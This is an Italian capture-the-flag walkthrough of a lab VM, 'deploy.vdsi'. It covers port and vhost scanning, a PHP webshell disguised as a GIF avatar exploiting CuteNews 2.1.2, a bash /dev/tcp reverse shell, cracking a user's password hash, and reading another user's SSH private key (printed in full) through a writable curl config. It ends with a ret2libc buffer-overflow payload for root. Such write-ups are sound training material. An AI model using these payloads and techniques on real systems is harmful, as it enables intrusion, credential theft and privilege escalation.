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## Foothold

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### network scanning

```
$ sudo nmap -sP 192.168.56.0/24 -v
[sudo] password di andrea:
Warning: The -sP option is deprecated. Please use -sn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-06 19:12 CEST
Initiating ARP Ping Scan at 19:12
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 19:12, 1.76s elapsed (255 total hosts)
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is
disabled. Try using --system-dns or specify valid servers with --dns-
servers
Nmap scan report for 192.168.56.0 [host down]
Nmap scan report for 192.168.56.1
Host is up (0.00023s latency).
MAC Address: 0A:00:27:00:00:03 (Unknown)
Nmap scan report for 192.168.56.2 [host down]
Nmap scan report for 192.168.56.3 [host down]
Nmap scan report for 192.168.56.4 [host down]
Nmap scan report for 192.168.56.5 [host down]
Nmap scan report for 192.168.56.6 [host down]
Nmap scan report for 192.168.56.7 [host down]
Nmap scan report for 192.168.56.8 [host down]
Nmap scan report for 192.168.56.9 [host down]
Nmap scan report for 192.168.56.10 [host down]
Nmap scan report for 192.168.56.11 [host down]
Nmap scan report for 192.168.56.12 [host down]
Nmap scan report for 192.168.56.13 [host down]
Nmap scan report for 192.168.56.14 [host down]
```

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```
Nmap scan report for 192.168.56.69 [host down]
Nmap scan report for 192.168.56.70 [host down]
Nmap scan report for 192.168.56.71 [host down]
Nmap scan report for 192.168.56.72 [host down]
Nmap scan report for 192.168.56.73 [host down]
Nmap scan report for 192.168.56.74 [host down]
Nmap scan report for 192.168.56.75 [host down]
Nmap scan report for 192.168.56.76 [host down]
Nmap scan report for 192.168.56.77 [host down]
Nmap scan report for 192.168.56.78 [host down]
Nmap scan report for 192.168.56.79 [host down]
Nmap scan report for 192.168.56.80 [host down]
Nmap scan report for 192.168.56.81 [host down]
Nmap scan report for 192.168.56.82 [host down]
Nmap scan report for 192.168.56.83 [host down]
Nmap scan report for 192.168.56.84 [host down]
Nmap scan report for 192.168.56.85 [host down]
Nmap scan report for 192.168.56.86 [host down]
Nmap scan report for 192.168.56.87 [host down]
Nmap scan report for 192.168.56.88 [host down]
Nmap scan report for 192.168.56.89 [host down]
Nmap scan report for 192.168.56.90 [host down]
Nmap scan report for 192.168.56.91 [host down]
Nmap scan report for 192.168.56.92 [host down]
Nmap scan report for 192.168.56.93 [host down]
Nmap scan report for 192.168.56.94 [host down]
Nmap scan report for 192.168.56.95 [host down]
Nmap scan report for 192.168.56.96 [host down]
Nmap scan report for 192.168.56.97 [host down]
Nmap scan report for 192.168.56.98 [host down]
Nmap scan report for 192.168.56.99 [host down]
Nmap scan report for 192.168.56.100
Host is up (0.0038s latency).
MAC Address: 08:00:27:ED:78:1D (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102 [host down]
Nmap scan report for 192.168.56.103 [host down]
Nmap scan report for 192.168.56.104 [host down]
Nmap scan report for 192.168.56.105 [host down]
Nmap scan report for 192.168.56.106 [host down]
Nmap scan report for 192.168.56.107 [host down]
Nmap scan report for 192.168.56.108
Host is up (0.00070s latency).
MAC Address: 08:00:27:7C:BB:D9 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.109 [host down]
Nmap scan report for 192.168.56.110 [host down]
Nmap scan report for 192.168.56.111 [host down]
Nmap scan report for 192.168.56.112 [host down]
Nmap scan report for 192.168.56.113 [host down]
Nmap scan report for 192.168.56.114 [host down]
Nmap scan report for 192.168.56.115 [host down]
Nmap scan report for 192.168.56.116 [host down]
Nmap scan report for 192.168.56.117 [host down]
Nmap scan report for 192.168.56.118 [host down]
Nmap scan report for 192.168.56.119 [host down]
```

[illegible]

[illegible]

```
Nmap scan report for 192.168.56.228 [host down]
Nmap scan report for 192.168.56.229 [host down]
Nmap scan report for 192.168.56.230 [host down]
Nmap scan report for 192.168.56.231 [host down]
Nmap scan report for 192.168.56.232 [host down]
Nmap scan report for 192.168.56.233 [host down]
Nmap scan report for 192.168.56.234 [host down]
Nmap scan report for 192.168.56.235 [host down]
Nmap scan report for 192.168.56.236 [host down]
Nmap scan report for 192.168.56.237 [host down]
Nmap scan report for 192.168.56.238 [host down]
Nmap scan report for 192.168.56.239 [host down]
Nmap scan report for 192.168.56.240 [host down]
Nmap scan report for 192.168.56.241 [host down]
Nmap scan report for 192.168.56.242 [host down]
Nmap scan report for 192.168.56.243 [host down]
Nmap scan report for 192.168.56.244 [host down]
Nmap scan report for 192.168.56.245 [host down]
Nmap scan report for 192.168.56.246 [host down]
Nmap scan report for 192.168.56.247 [host down]
Nmap scan report for 192.168.56.248 [host down]
Nmap scan report for 192.168.56.249 [host down]
Nmap scan report for 192.168.56.250 [host down]
Nmap scan report for 192.168.56.251 [host down]
Nmap scan report for 192.168.56.252 [host down]
Nmap scan report for 192.168.56.253 [host down]
Nmap scan report for 192.168.56.254 [host down]
Nmap scan report for 192.168.56.255 [host down]
Nmap scan report for 192.168.56.101
Host is up.
Read data files from: /usr/bin/./share/nmap
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.83 seconds
    Raw packets sent: 511 (14.308KB) | Rcvd: 7 (196B)
```

La macchina target ha indirizzo IP **192.168.56.108**.

## port scanning

```
$ sudo nmap -sS 192.168.56.108 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-06 19:13 CEST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is
disabled. Try using --system-dns or specify valid servers with --dns-
servers
Nmap scan report for 192.168.56.108
Host is up (0.000055s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
8000/tcp   open  http-alt
```

```

8443/tcp open  https-alt
MAC Address: 08:00:27:7C:BB:D9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds

$ sudo nmap -sC -sV 192.168.56.108 -p22,80,8000,8443
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-06 19:14 CEST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is
disabled. Try using --system-dns or specify valid servers with --dns-
servers
Nmap scan report for 192.168.56.108
Host is up (0.00045s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|   3072 a1:e6:ed:7c:a7:86:ae:56:e4:3f:ed:5d:e8:e1:93:2e (RSA)
|   256 67:6b:6e:42:28:df:ec:f6:fd:83:0c:9d:e1:86:b6:3d (ECDSA)
|_  256 0b:ab:6c:a2:14:0d:56:41:cf:59:16:db:52:e5:5e:9b (ED25519)
80/tcp    open  http     nginx 1.18.0 (Ubuntu)
|_ http-title: Welcome to nginx!
|_ http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_ http-title: Welcome to nginx!
|_ http-open-proxy: Proxy might be redirecting requests
|_ http-server-header: nginx/1.18.0 (Ubuntu)
8443/tcp  open  ssl/http nginx 1.18.0 (Ubuntu)
|_ http-title: Welcome to nginx!
| ssl-cert: Subject:
commonName=deploy/organizationName=vdsi/stateOrProvinceName=Rome/countryNam
e=IT
| Not valid before: 2020-09-09T14:16:16
|_ Not valid after: 2021-09-09T14:16:16
|_ http-server-header: nginx/1.18.0 (Ubuntu)
MAC Address: 08:00:27:7C:BB:D9 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.10 seconds

```

Sulla porta 8000 e sulla 8443 sembrano esserci esposti altri servizi web. In particolare, dal certificato ssl, vediamo che il common name per il dominio è **deploy**, e lo associamo all'indirizzo IP nel file `/etc/hosts`. Inoltre, essendo l'organization name 'vdsi', si aggiunge anche **deploy.vdsi**. Inoltre, vediamo che il web server usa nginx v1.18.0.

## web server

Sia su porta 80 che su 8000 che su 8443, si ha la stessa pagina web in apertura e non sembra esserci apparentemente nulla di interessante:

# Welcome to nginx!

If you see this page, the nginx web server is successfully installed and working. Further configuration is required.

For online documentation and support please refer to [nginx.org](http://nginx.org).  
Commercial support is available at [nginx.com](http://nginx.com).

*Thank you for using nginx.*

Proviamo ad enumerare i vhosts.

## vhosts enumeration

L'enumerazione sul dominio deploy non produce alcun, risultato, mentre per il dominio deploy.vdsi si ha:

```
$ gobuster vhost -u http://deploy.vdsi -w
/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
2>/dev/null
=====
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://deploy.vdsi
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/seclists/Discovery/DNS/subdomains-top1million-
110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
=====
2022/07/06 19:28:40 Starting gobuster in VHOST enumeration mode
=====
Found: test.deploy.vdsi (Status: 403) [Size: 162]
Found: web.deploy.vdsi (Status: 403) [Size: 162]
Found: news.deploy.vdsi (Status: 200) [Size: 6609]
=====
2022/07/06 19:28:59 Finished
=====
```

Ci sono 3 vhosts che vengono messi quindi nel file `/etc/hosts`.

## file enumeration

Sia su deploy che su deploy.vdsi, c'è esposto un solo file **todo**, contenente il seguente messaggio:

```
Web site under construction
```




## Vhosts file enumeration

L'unico vhost che sembra avere qualcosa di interessante è **news.deploy.vdsi**.

```
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://news.deploy.vdsi -x php,js,html,txt
=====
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://news.deploy.vdsi
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: js,html,txt,php
[+] Timeout: 10s
=====
2022/07/06 21:36:47 Starting gobuster in directory enumeration mode
=====
/index.php (Status: 200) [Size: 6609]
```

La pagina index.php appare come segue:



**News on deploy.vdsi**

[password management](#) [printable version](#)

After a recent attack to our platform, deploy.vdsi updated the password policy:

- they must be AT LEAST 8-characters long
- they must contain AT LEAST one special character and one number

All users should change their password ASAP accordingly!

admin

Posted on 10 Sep 2020 by [admin](#) [Count of comments: 0](#)

[Web pages deployed.](#) [printable version](#)

Other than news.deploy.vdsi, new websites were deployed. They're still under construction, so you may find strange contents. If this is the case, report to admin@deploy.vdsi

Posted on 10 Sep 2020 by [admin](#) [Count of comments: 0](#)

[New website for news!](#) [printable version](#)

This will be the official website for release news.

admin@deploy.vdsi

Posted on 10 Sep 2020 by [admin](#) [Count of comments: 0](#)

Powered by [CuteNews](#)


Si apprendono le seguenti regole per le password:

1. lunghezza > 8 caratteri
2. almeno 1 carattere speciale e 1 numero

Inoltre, c'è una mail : **admin@deploy.vdsi**

Tuttavia, il resto non sembra portare a nulla di interessante. Se non che i bottoni per ottenere la 'printable version' dei vari messaggi, hanno uno URL del tipo <http://news.deploy.vdsi/CuteNews/print.php?id=2>


Si prova ad accedere quindi allo URL <http://news.deploy.vdsi/CuteNews>, ottenendo la seguente pagina web:



Non sembra essere vulnerabile ad SQL injection. Risulta essere possibile la registrazione, ma è necessario un captcha che non appare a schermo. Si nota che in basso nella pagina viene indicato che è usato **CuteNews v2.1.2**. Cercando in rete, tale versione risulta avere la vulnerabilità Remote Code Execution ([link](#)). Per exploitarla è necessario registrarsi e poi fare l'upload di un avatar (immagine), contenente invece codice php.

Si riesce a registrarsi effettuando una richiesta per la risorsa **captcha.php**, rendendo visibile il captcha.

Una volta entrati, appare la seguente interfaccia:




Andando in personal option, c'è il pulsante per fare upload del file per l'avatar. Deve essere un file di tipo immagine. Lo costruiamo, inserendo all'inizio i magic numbers del formato GIF. Dunque, il contenuto sarà:

```
GIF8;  
<?php system($_REQUEST['cmd']); ?>
```

Dalla seguente immagine, vediamo come effettivamente il file appaia come una GIF:

```
(andrea@roronoa) - [~/PenTesting/htb/vdsi/deploy]
$ file avatar.php
avatar.php: GIF image data 16188 x 26736
```

Il file viene caricato nella directory **/uploads**. Proviamo ad accedervi sfruttando la RCE per eseguire il comando **id**. Il nome con cui sarà salvato il file è: `avatar_`. Nel nostro caso, sarà **avatar\_andreaavatar.php**.



```
news.deploy.vdsi/CuteNews/uploads/avatar_andrea_avatar.php?cmd=id
GIF8; uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Funziona. Sfruttiamo la RCE per ottenere una reverse shell.

## Reverse shell

Sulla macchina kali, ci mettiamo in ascolto sulla porta 4444:

```
nc -lvnp 4444
```

La reverse shell in bash è la seguente:

```
bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1'
```

```
(andrea@roronoa) - [~/PenTesting/htb/vdsi/deploy]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.108] 43336
bash: cannot set terminal process group (646): Inappropriate ioctl for device
bash: no job control in this shell
www-data@deploy:~/news/CuteNews/uploads$
```

## Privilege escalation

### www-data

Vediamo quali utenti ci sono:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
```

```
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106:/:/nonexistent:/usr/sbin/nologin
syslog:x:104:110:/:/home/syslog:/usr/sbin/nologin
_apt:x:105:65534:/:/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uidd:x:107:112:/:/run/uidd:/usr/sbin/nologin
tcpdump:x:108:113:/:/nonexistent:/usr/sbin/nologin
sshd:x:109:65534:/:/run/sshd:/usr/sbin/nologin
landscape:x:110:115:/:/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1:/:/var/cache/pollinate:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
paul:x:1000:1000:paul,,,:/home/paul:/bin/bash
david:x:1001:1001:david,,,:/home/david:/bin/bash
```

Non avevamo accesso ad altri files interessanti. Quindi, cercando nella cartella `/var/www/news/CuteNews/cdata/users` c'erano diversi files contenenti dati encodati in base64. Decodificando uno di questi, è stato ritrovato un json contenente in particolare lo username del nostro account create su CuteNews e l'hash sha256 della password. Esploriamo gli altri files per vedere se c'è qualche utente della macchina che si è loggato.

Troviamo l'hash dell'utente paul:

```
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
```

La crackiamo con john

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=Raw-SHA256
```

Otteniamo le seguenti credenziali, con le quali riusciamo a loggarci come paul: **paul:atlanta1**

```
su paul
```

paul

```
sudo -l
```

Non possiamo eseguire comandi.

Eseguendo **pspy64**, notiamo che c'è un cronjob che ogni minuto viene eseguito come utente david:

```
2022/07/07 09:15:54 CMD: UID=0 PID=10 |
2022/07/07 09:15:54 CMD: UID=0 PID=1 | /sbin/init
2022/07/07 09:16:01 CMD: UID=0 PID=47535 | /usr/sbin/CRON -f
2022/07/07 09:16:01 CMD: UID=1001 PID=47538 | /bin/bash /home/david/save_news.sh
2022/07/07 09:16:01 CMD: UID=1001 PID=47537 | /bin/sh -c /home/david/save_news.sh
2022/07/07 09:16:01 CMD: UID=1001 PID=47539 |
2022/07/07 09:16:02 CMD: UID=1001 PID=47542 |
2022/07/07 09:16:02 CMD: UID=1001 PID=47544 | cat /home/david/default
2022/07/07 09:16:02 CMD: UID=1001 PID=47545 | /bin/bash /home/david/save_news.sh
2022/07/07 09:17:01 CMD: UID=0 PID=47569 | /usr/sbin/CRON -f
2022/07/07 09:17:01 CMD: UID=0 PID=47568 | /usr/sbin/CRON -f
2022/07/07 09:17:01 CMD: UID=1001 PID=47573 | sleep 1
2022/07/07 09:17:01 CMD: UID=1001 PID=47572 | /bin/bash /home/david/save_news.sh
2022/07/07 09:17:01 CMD: UID=??? PID=47571 | ???
2022/07/07 09:17:01 CMD: UID=1001 PID=47570 | /bin/sh -c /home/david/save_news.sh
2022/07/07 09:17:02 CMD: UID=1001 PID=47577 | curl -K /opt/news_backup/input -o /opt/news_backup/output
2022/07/07 09:17:02 CMD: UID=1001 PID=47579 |
```

In particolare, viene fatto il curl leggendo dal file `/opt/newsbackup/input` come file di configurazione. Il risultato viene scritto nella stessa cartella ma nel file `output`.

Andando a vedere questi file, input contiene:

```
url = "http://news.delpoy.vdsi/index.php"
```

E output il contenuto della pagina php. Sfortunatamente, non abbiamo permessi di scrittura sui files come utente. Il proprietario dei files è **david**, ma hanno permessi di accesso in lettura e scrittura anche tutti gli utenti del gruppo **news**. Eseguendo il comando

```
groups
```

vediamo che anche l'utente paul da parte del gruppo news. Possiamo quindi scrivere il file **input** per leggere come utente david dei files a cui lui ha accesso. Avremo il risultato nel file `output`.

Leggiamo il file `savenews.sh` che abbiamo visto essere runnato dal cronjob con **pspy64**. Scriviamo in 'input':

```
url = "file:///home/david/save_news.sh"
```

Risultato:

```
#!/bin/bash
sleep 1;
curl -K /opt/news_backup/input -o /opt/news_backup/output
echo "Restoring original file"
cat /home/david/default > /opt/news_backup/input
chown david:news /opt/news_backup/{input,output}
```

Nulla di estremamente interessante. Proviamo quindi a vedere se c'è una eventuale cartella .ssh con il classico nome per la chiave primata `id_rsa`. Se riuscissimo ad ottenere la chiave privata, potremmo tentare di loggarci tramite ssh come utente david. Scriviamo nel file input:

```
url = "file:///home/david/.ssh/id_rsa"
```

Effettivamente, otteniamo la chiave ssh:

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAABAG5vbmUAAAABbm9uZQAAAAAAAAABAAAABlAAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAyNCqyjg8SYBMwn9MmJtmWNzhffY+Jh0I4GwRN+W955sp95e9xNyE
ou/G2iM14JARYMekFnjzZCF6bwfzdIXTcq33F7Qsz1Zt5h0TN07LaK5ix+9T5DjSbH2lu0
1d9QbYVWQ49fMydGdB10IpETI+5mNzdBJ0Q6vZNdoy1NU7oLD8CffzA06Mc9nuqPSZTHX2
7yR/033Jkau8QdFQesork09/VXXTX8r6zoeTLyfVYV1QH4t0+BV7XEwnt3VeYyHZ9kct8u
9Tn0VTIJMQSq6LSXKmGsZ406LZCLNcRtMLY4tC0GqYiPeGNLye0Www9l6mr6WKSgoE6lLe
LJqrLuJ+kL7QP52EVVxA7utrB61Mah18cnmJ1bVionIgu/yHCsqT4kh2fQDtXh0xefntU0
JuyHL6BF/rY83M4qkhf45sRUoMdvCApe/uWlsYgpw1c6pMmCKlbT0AxrJSI/8a1KY8vexs
qQAcDKVMcRiorJ4UGoY716xzNtDDixpkAhzstRe5AAAFiPL8kGry/JBqAAAAB3NzaC1yc2
EAAAGBAMjQso4PEmATFp/TJibZljc4X38viYTi0BSEtFlveebKfeXvcTchKLvxtojNeCQ
EWDHpbZ482Qhem8H83SF03Kt9xe0LM9WbeYTKzd0y2iuYsfvU+Q40mx9pbtNXfUG2FVkpO
XzMnRnQddCKREyPuZjc3QsdeOr2TXaMtTV06JQ/An38wDujHPZ7qj0mUx19u8kf9N9yZGr
vEHRUHRKK5Dvf1V101/K+s6Hky8n1WfdUB+LdPgVe1xMJ7d1XmMh2fZHLfLvU5zLUyCTEE
qUpUlyphrGeN0i2QpTQq0zC20LQtBqmIj3hjS8ntFsMPZepq+likoKB0pS3iyaq5VI/pC+
0D+dhFvcQ07rawetTGodfHJ5idW1YqDSILv8hwrKk+JIidn0A7V4TsXn57VDibshy+gRf62
PNz0KpIX+0bEVKDhb3AKXv7lpbGIKcNX0qTJgipW0zgMayUiP/GtSmPL3sbKkAHAYlTHEY
qKyeFBqG09esczbQw4saZAic7LUXuQAAAAMBAEAAAGAc8j0oJIAgJsT6x348Qiw003P6g
9/J38d7aABsYQSoeayJ0Ll9QrcowGzWvTwTKFkk70oZZipZTN0X25rLeU3jKjHjnBBYe7I
gn8Kg9o3qAzCQcE5Up58nTc5Bqz0Hsgqldmqig0GK12Z9d5cxWB+KeJvoB4/0QDVxZogst
ybfLRLDghboU7pxqaCWAJoHVDq5unZlfyx6v7lFeH1EEdfJTsh5QmBrXrgb5J2B7tk6bwe
zAFhmOTx8r6qK7pNiMTr3P6HX0sFv4UyhlGttUwylWEnPI9290ixj6DDSPHi1nacGbVGii
8ZQbCiVi5f6MoPKphNopHzjX1YcJfDATrn/mmmzL6BFB8Gf2SwQ43+QXc93aqaCAn/+BcwY
hA5KA4J4DqxyMnEurJlBAJT2Jp6E88hVvMvMEffYv5DfKjuRnzl12sIPSUGdB9EGaMf3My
ZBRWB6+h85R6fC8/Wu7l67gPfzN0EtHDUdkP5tyrkRmh28H/Gus8J/hRPqQcNHZWqBAAAA
wBY4ZMgjRYGGwyZV5EijJt7VfqcPxxCZUScL5NxUFwb1jCubLLhzfuuchv85VS92w0oadL
```

```
D83B8hU/r50iYcY3YkQVH2EE1NTjBGgQDzTSdmbVmBft1T/0rVbD6auAkg260Sk7M5/Bty
y2fo6taE5GGXsGggHXpIT/CMiBwdGQjI50dipMR3fIGxwKg/Rp8BhBsxB1SquoU6matJSz
Y5YwZEbx8Sv8dnkRm4S5PFnwSINayTVfv0TgnjHbftHGgxawAAAMEA5H7hsr393dz15Grz
MysBURZyWKq/GLFx54L9pXWNP80ld/go5brCqWBA9wuLaPlq5gt3rJ36mv+Zxh98XxJp6S
KXDtr5mKDXNIwvYv7uZA+gbFvmzVmgySrickKf2m4H8tceK/5380EB3teL2hsMdHrZiGZM
1kWkxQdIBJ/bTN1PSwsY669frsc/CydCfq/P23q7QfW+o5pzDfbI3SCwqJSD7y5XuSljQ8
CpKVa+5zLrvPg9bQA7zngE4pB6ajfJAAAawQDg/M6aGwApvkEUX6ae7FGqcCEoEkHtFDTG
zzFrQD3Atkyonh8FYDMuZcNaxptoyNg0yjTlc/PSPHuzWawQns9J4foUsVtHixIV2J3xKm
27XqQObBwYRUo60r4f1rx5nUT2HM9IcZQVhowe4Kxv23J9nLJ8yoyCtNDQCvZvYDi61Zef
pgdQ/hZvRIq84DcAnw0ts8LwSs3N2+dFnVAMm2//0+2HHuw9oH8Tc08Pyg62y5WoISpEpb
0T7n276h7quHEAAAARZGF2aWRAZGVwbG95LnZkc2kBAg==
-----END OPENSSH PRIVATE KEY-----
```

La salviamo su un file in locale e cambiamo i permessi:

```
chmod 400 id_rsa
```

Dopodiché ci loggiamo con ssh:

```
ssh david@deploy -i id_rsa
```

E siamo dentro!

## david

Vediamo che nella home abbiamo diverse cartelle e due di esse contengono un file per ognuna, entrambi con root come proprietario e con i permessi di setuid. Potremmo provare ad effettuare buffer overflow. Uno di essi è a 64 bit, mentre l'altro è a 32. Ci concentreremo su quest'ultimo.

```
david@deploy:~/development$ ls -la
total 24
drwxrwxr-x 2 david david 4096 Sep 10 2020 .
drwx----- 7 david david 4096 Sep 10 2020 ..
-rwsr-sr-x 1 root root 15704 Sep 10 2020 test
david@deploy:~/development$ file test
test: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1
(SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,
BuildID[sha1]=2c5c43579f49997cf98e2d669ed2298cc8de0044, for GNU/Linux
3.2.0, not stripped
```

In effetti, il programma prende in input una stringa e la riprinta su stdout:

```
david@deploy:~/development$ ./test
Test program made by david
```

```
Enter a string: ciao ciao
You entered: ciao ciao
```

Procediamo con il **Buffer overflow**:

```
david@deploy:~/development$ cat /proc/sys/kernel/randomize_va_space
2
```

Vediamo che l'ASLR è attivo, quindi la libreria libc verrà rilocalizzata casualmente. Dovremo runnare l'exploit più volte.

```
david@deploy:~/development$ ldd test
linux-gate.so.1 (0xf7ee6000)
libc.so.6 => /lib32/libc.so.6 (0xf7cee000)
/lib/ld-linux.so.2 (0xf7ee7000)
```

`libcbase = 0xf7cee000`

```
david@deploy:~/development$ strings -a -t x /lib32/libc.so.6 | grep /bin/sh
18f352 /bin/sh
```

`binshoffset = 0x18f352`

```
david@deploy:~/development$ readelf -s /lib32/libc.so.6 | grep system
258: 00137650 106 FUNC GLOBAL DEFAULT 16
svcerr_systemerr@@GLIBC_2.0
662: 00045420 63 FUNC GLOBAL DEFAULT 16
__libc_system@@GLIBC_PRIVATE
1534: 00045420 63 FUNC WEAK DEFAULT 16 system@@GLIBC_2.0
```

`systemoffset = 0x00045420`

```
david@deploy:~/development$ readelf -s /lib32/libc.so.6 | grep exit
121: 000385c0 43 FUNC GLOBAL DEFAULT 16
__cxa_at_quick_exit@@GLIBC_2.10
150: 00037f80 39 FUNC GLOBAL DEFAULT 16 exit@@GLIBC_2.0
477: 000385f0 197 FUNC GLOBAL DEFAULT 16
__cxa_thread_atexit_impl@@GLIBC_2.18
590: 000cc166 24 FUNC GLOBAL DEFAULT 16 _exit@@GLIBC_2.0
651: 0013ac80 60 FUNC GLOBAL DEFAULT 16 svc_exit@@GLIBC_2.0
687: 001451a0 37 FUNC GLOBAL DEFAULT 16 quick_exit@GLIBC_2.10
689: 00038590 37 FUNC GLOBAL DEFAULT 16 quick_exit@@GLIBC_2.24
```



```

    924: 00038300    45 FUNC      GLOBAL DEFAULT    16
__cxa_atexit@@GLIBC_2.1.3
   1102: 00145170    38 FUNC      GLOBAL DEFAULT    16 atexit@GLIBC_2.0
   1470: 001e7224     4 OBJECT    GLOBAL DEFAULT    30
argp_err_exit_status@@GLIBC_2.1
   1586: 000809b0    64 FUNC      GLOBAL DEFAULT    16 pthread_exit@@GLIBC_2.0
   2217: 001e7160     4 OBJECT    GLOBAL DEFAULT    30
obstack_exit_failure@@GLIBC_2.0
   2376: 00037fb0   288 FUNC      WEAK   DEFAULT    16 on_exit@@GLIBC_2.0
   2525: 001147d0     5 FUNC      GLOBAL DEFAULT    16
__cyg_profile_func_exit@@GLIBC_2.2

```

exit\_offset = 0x00037f80

Troviamo l'EIP offset mandando in segfault l'eseguibile con un pattern non ripetibile:

```

└─(andrea@roronoa)-[~/PenTesting/htb/vdsi/deploy]
└─$ msf-pattern_create -l 256
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4
Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

└─(andrea@roronoa)-[~/PenTesting/htb/vdsi/deploy]
└─$ msf-pattern_offset -q 41386541
[*] Exact match at offset 144

```

EIP\_offset = 144

Costruiamo il payload nel seguente modo:

```
python2 -c "print 'A'*144 + '\x20\x34\xd3\xf7' + '\x80\x5f\xd2\xf7' +
'\x52\xd3\xe7\xf7'" > payload
```

Dopodiché, carichiamo il file di payload sulla macchina target e runniamo molteplici volte a mano il comando:

```
cat payload - | ./test
```

Non è possibile automatizzarlo, poiché c'è bisogno di usare il cat -. Dopo numerosissimi tentativi, si riesce ad ottenere una shell da root.

root

```
whoami  
root  
id  
uid=0(root) gid=0(root) groups=0(root),9(news),1001(david)
```

PAWNED baby!!!